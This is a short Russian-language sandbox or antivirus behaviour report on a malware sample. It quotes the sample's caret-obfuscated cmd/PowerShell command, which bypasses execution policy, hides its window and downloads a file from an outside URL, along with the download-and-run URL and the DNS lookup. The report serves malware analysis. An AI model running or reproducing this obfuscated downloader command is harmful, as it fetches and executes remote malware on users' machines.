Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "Po^WEr^s^Hell.^E^xE -exE^C^UTI^Onp^o^lICY^ ^Bypa^ss -^nop^RoFilE ^-WIND^OWstY^L^E H^I^d^d^En ^(NE^w^-^o^B^j^ect^ s^YsT^Em^.neT.^WeBc^LIen^t).^dOw^Nl^oad^F^Il^E('http://www....
Сетевая активность
UDP
- DNS ASK zo###opesa.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "Po^WEr^s^Hell.^E^xE -exE^C^UTI^Onp^o^lICY^ ^Bypa^ss -^nop^RoFilE ^-WIND^OWstY^L^E H^I^d^d^En ^(NE^w^-^o^B^j^ect^ s^YsT^Em^.neT.^WeBc^LIen^t).^dOw^Nl^oad^F^Il^E('http://www....' (со скрытым окном)
